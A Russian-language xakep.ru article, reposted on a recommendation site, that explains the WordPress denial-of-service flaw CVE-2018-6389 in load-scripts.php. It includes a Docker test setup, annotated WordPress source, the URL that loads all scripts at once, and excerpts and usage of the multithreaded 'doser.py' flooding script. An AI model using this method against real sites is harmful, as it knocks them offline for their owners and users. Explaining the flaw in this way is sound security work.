html текст
All interests
  • All interests
  • Design
  • Food
  • Gadgets
  • Humor
  • News
  • Photo
  • Travel
  • Video
Click to see the next recommended page
Like it
Don't like
Add to Favorites

Прессуем WordPress. Как работает новый метод «класть» сайты на WordPress

В WordPress, самой популярной CMS в мире, была найдена ошибка, которая позволяет вызывать отказ в обслуживании сайта, то есть DoS. Успешную эксплуатацию с легкостью возможно провести удаленно, и для этого не нужно обладать никакими правами в системе.

Брешь была обнаружена израильским ресерчером Бараком Тавили (Barak Tawily aka Quitten), когда он изучал очередной проект на WordPress. Уязвимость получила идентификатор CVE-2018-6389 и присутствует на тысячах сайтов по всему миру, так как разработчики из WordPress Foundation не спешат признавать серьезность проблемы и исправлять ее. В результате от бага не избавлены даже самые свежие на момент написания статьи версии CMS — 4.9.5.

Итак, предлагаю посмотреть на уязвимость поближе, а там ты уже сам решишь, насколько страшен черт.

 

Стенд

Я уже неоднократно поднимал стенд для тестирования уязвимостей в WordPress, чтобы написать об очередной уязвимости, поэтому быстренько пробегусь по основным аспектам, не сильно вдаваясь в подробности.

По традиции используем контейнер Docker на Debian и седьмую версию PHP с Apache.

$ docker run -it --rm -p80:80 --name=wpdos --hostname=wpdos debian /bin/bash
$ apt-get update && apt-get install -y mysql-server apache2 php php7.0-mysqli nano wget

Скачиваем и распаковываем WordPress версии 4.9.5:

$ cd /tmp && wget https://wordpress.org/wordpress-4.9.5.tar.gz
$ tar xzf wordpress-4.9.5.tar.gz
$ rm -rf /var/www/html/* && mv wordpress/* /var/www/html/
$ chown -R www-data:www-data /var/www/html/

Запускаем необходимые сервисы:

$ service mysql start && service apache2 start
$ mysql -u root -e "CREATE DATABASE wpdos; GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' IDENTIFIED BY 'megapass';"

Дальше дело за установкой CMS через браузер.

Установка WordPress
Установка WordPress
 
Детали уязвимости

Итак, Тавили во время просмотра очередного сайта на WordPress обратил внимание на скрипт load-scripts.php. Он используется для отображения JavaScript. Названия загружаемых файлов указываются в параметре load, и при выводе их содержимое объединяется. Сделано это для того, чтобы ускорить загрузку страницы и уменьшить количество запросов к серверу.

Таким образом, чтобы браузер получил все нужные для корректного отображения файлы JS, достаточно сделать запрос на один скрипт load-scripts.php, в параметрах которого будут перечислены все необходимые файлы JavaScript. Это, кстати, довольно распространенная практика при разработке бэкенда. Та же логика у скрипта load-styles.php, только в отношении файлов CSS.

Посмотрим на исходный код load-scripts.php. Названия файлов указываются через запятую.

/wp-admin/load-scripts.php
17: $load = $_GET['load'];
18: if ( is_array( $load ) )
19:     $load = implode( '', $load );
20:
21: $load = preg_replace( '/[^a-z0-9,_-]+/i', '', $load );
22: $load = array_unique( explode( ',', $load ) );

Какие же скрипты мы можем загрузить? Разумеется, произвольный файл прочитать не получится, существует четко прописанный список разрешенных объектов.

/wp-admin/load-scripts.php
48: foreach ( $load as $handle ) {
49:     if ( !array_key_exists($handle, $wp_scripts->registered) )
50:         continue;
51:
52:     $path = ABSPATH . $wp_scripts->registered[$handle]->src;
53:     $out .= get_file($path) . "\n";
54: }

Этот список находится в свойстве registered класса WP_Scripts и заполняется при помощи функции wp_default_scripts из файла script-loader.php.

/wp-admin/load-scripts.php
36: $wp_scripts = new WP_Scripts();
37: wp_default_scripts($wp_scripts);
/wp-includes/script-loader.php
37: /**
38:  * Register all WordPress scripts.
...
46:  * @param WP_Scripts $scripts WP_Scripts object.
47:  */
48: function wp_default_scripts( &$scripts ) {

Пополняется список разрешенных к загрузке файлов при помощи метода add.

/wp-includes/script-loader.php
048: function wp_default_scripts( &$scripts ) {
...
086:    $scripts->add( 'wp-a11y', "/wp-includes/js/wp-a11y$suffix.js", array( 'jquery' ), false, 1 );
087:
088:    $scripts->add( 'sack', "/wp-includes/js/tw-sack$suffix.js", array(), '1.6.1', 1 );
...
125:    $scripts->add( 'editor', "/wp-admin/js/editor$suffix.js", array('utils','jquery'), false, 1 );
...

В параметрах вызова указываются название элемента, путь до файла, зависимости от других элементов, версия и прочее.

/wp-includes/class.wp-scripts.php
18: class WP_Scripts extends WP_Dependencies {
/wp-includes/class.wp-dependencies.php
206:    public function add( $handle, $src, $deps = array(), $ver = false, $args = null ) {
207:        if ( isset($this->registered[$handle]) )
208:            return false;
209:        $this->registered[$handle] = new _WP_Dependency( $handle, $src, $deps, $ver, $args );
210:        return true;
211:    }

Полный список всех вызовов загружаемых элементов можно найти тут. Всего их 181. По умолчанию загружаются минифицированные версии скриптов.

/wp-includes/script-loader.php
67:     $suffix = SCRIPT_DEBUG ? '' : '.min';
68:     $dev_suffix = $develop_src ? '' : '.min';

Вызов загрузки скрипта utils.min.js через load-scripts.php
Вызов загрузки скрипта utils.min.js через load-scripts.php

Идея в том, чтобы прочитать все возможные JS-файлы одним запросом. Он получается монструозным, не буду приводить его целиком, но вместо многоточия в конце должно идти еще 170 названий файлов.

http://wpdos.visualhack/wp-admin/load-scripts.php?load=utils,common,wp-a11y,sack,quicktags,colorpicker,editor,wp-fullscreen-stub,wp-ajax-response,wp-api-request,wp-pointer...

Время, прошедшее от отправления запроса до первого полученного байта ответа, равно ~500 миллисекунд. Примерно столько сервер обрабатывал этот запрос.

Загрузка всех JS-файлов одновременно через запрос к load-scripts.php
Загрузка всех JS-файлов одновременно через запрос к load-scripts.php

Каждый файл читается отдельно при помощи file_get_contents.

/wp-admin/includes/noop.php
102: function get_file( $path ) {
103:
104:    if ( function_exists('realpath') ) {
105:        $path = realpath( $path );
106:    }
107:
108:    if ( ! $path || ! @is_file( $path ) ) {
109:        return '';
110:    }
111:
112:    return @file_get_contents( $path );
113: }

Получается, что каждый запрос будет вызывать 181 операцию ввода-вывода, и если таких запросов будет много, то в скором времени у сервера могут начаться проблемы. Особенно это касается сайтов на shared-хостингах.

 
Автоматизируй это

Теперь давай организуем множественные запросы к такому URL. Тавили для этих целей использовал самописную утилиту под названием doser, которая выполняет запросы к серверу в указанное количество потоков. Сам скрипт написан на Python 2.7 с использованием библиотек requests и threading.
Процедура вызова проста:

$ python doser.py -g <url> -t 999

Ключ g говорит нам, что нужно отправлять запросы методом GET, а с помощью t можно указать количество потоков.

doser.py
067: def sendGET(url):
...
070:    try:
071:        request_counter+=1
072:        request = requests.get(url, headers=headers)
...
094:            while True:
095:                global url
096:                sendGET(url)
...
113: def main(argv):
...
115:    parser.add_argument('-g', help='Specify GET request. Usage: -g \'<url>\'')
...
119:    parser.add_argument('-t', help='Specify number of threads to be used', default=500, type=int)
...
128:        for i in range(args.t):
129:            t = SendGETThread()

Возможно, решение не самое быстрое и оптимальное, но скрипт работает добросовестно и с задачей справляется. После двух тысяч запросов наш простенький сервер уже недоступен для обычного пользователя.

Успешно проведенная DoS-атака
Успешно проведенная DoS-атака

Чтобы добавить еще немного нагрузки, можешь дополнительно отправлять запросы на загрузку файлов CSS через load-styles.php.

 
Демонстрация уязвимости (видео)

 
Выводы

Вот такой нестандартный вектор атаки. Конечно, импакт от его использования не слишком серьезный, иначе мы бы уже наблюдали массовый «падёж». Правильно настроенный выделенный сервер от такого трюка пострадать не должен. А вот на shared-хостингах стоят лимиты на потребляемые ресурсы, и, если они исчерпаются, могут возникнуть проблемы. Так, во время тестирования на одном из моих сайтов хостер заспамил мне почту сообщениями о превышении выделенных лимитов.

Почему же в WordPress не считают это своей проблемой и не торопятся исправлять? С одной стороны, разработчиков можно понять: они не несут ответственности за использование их CMS на слабых или некорректно настроенных серверах (WordPress вообще-то далеко не самая легкая CMS). Но это совсем не то, что хочется слышать от разработчиков системы, на которой работает твой блог. Проблему все равно придется фиксить, и я уверен, что есть масса безобидных способов сделать это. Да ей уже дали CVE, в конце концов!

Читать дальше
Twitter
Одноклассники
Мой Мир

материал с xakep.ru

1

      Add

      You can create thematic collections and keep, for instance, all recipes in one place so you will never lose them.

      No images found
      Previous Next 0 / 0
      500
      • Advertisement
      • Animals
      • Architecture
      • Art
      • Auto
      • Aviation
      • Books
      • Cartoons
      • Celebrities
      • Children
      • Culture
      • Design
      • Economics
      • Education
      • Entertainment
      • Fashion
      • Fitness
      • Food
      • Gadgets
      • Games
      • Health
      • History
      • Hobby
      • Humor
      • Interior
      • Moto
      • Movies
      • Music
      • Nature
      • News
      • Photo
      • Pictures
      • Politics
      • Psychology
      • Science
      • Society
      • Sport
      • Technology
      • Travel
      • Video
      • Weapons
      • Web
      • Work
        Submit
        Valid formats are JPG, PNG, GIF.
        Not more than 5 Мb, please.
        30
        surfingbird.ru/site/
        RSS format guidelines
        500
        • Advertisement
        • Animals
        • Architecture
        • Art
        • Auto
        • Aviation
        • Books
        • Cartoons
        • Celebrities
        • Children
        • Culture
        • Design
        • Economics
        • Education
        • Entertainment
        • Fashion
        • Fitness
        • Food
        • Gadgets
        • Games
        • Health
        • History
        • Hobby
        • Humor
        • Interior
        • Moto
        • Movies
        • Music
        • Nature
        • News
        • Photo
        • Pictures
        • Politics
        • Psychology
        • Science
        • Society
        • Sport
        • Technology
        • Travel
        • Video
        • Weapons
        • Web
        • Work

          Submit

          Thank you! Wait for moderation.

          Тебе это не нравится?

          You can block the domain, tag, user or channel, and we'll stop recommend it to you. You can always unblock them in your settings.

          • xakep.ru
          • домен xakep.ru

          Get a link

          Спасибо, твоя жалоба принята.

          Log on to Surfingbird

          Recover
          Sign up

          or

          Welcome to Surfingbird.com!

          You'll find thousands of interesting pages, photos, and videos inside.
          Join!

          • Personal
            recommendations

          • Stash
            interesting and useful stuff

          • Anywhere,
            anytime

          Do we already know you? Login or restore the password.

          Close

          Add to collection

             

            Facebook

            Ваш профиль на рассмотрении, обновите страницу через несколько секунд

            Facebook

            К сожалению, вы не попадаете под условия акции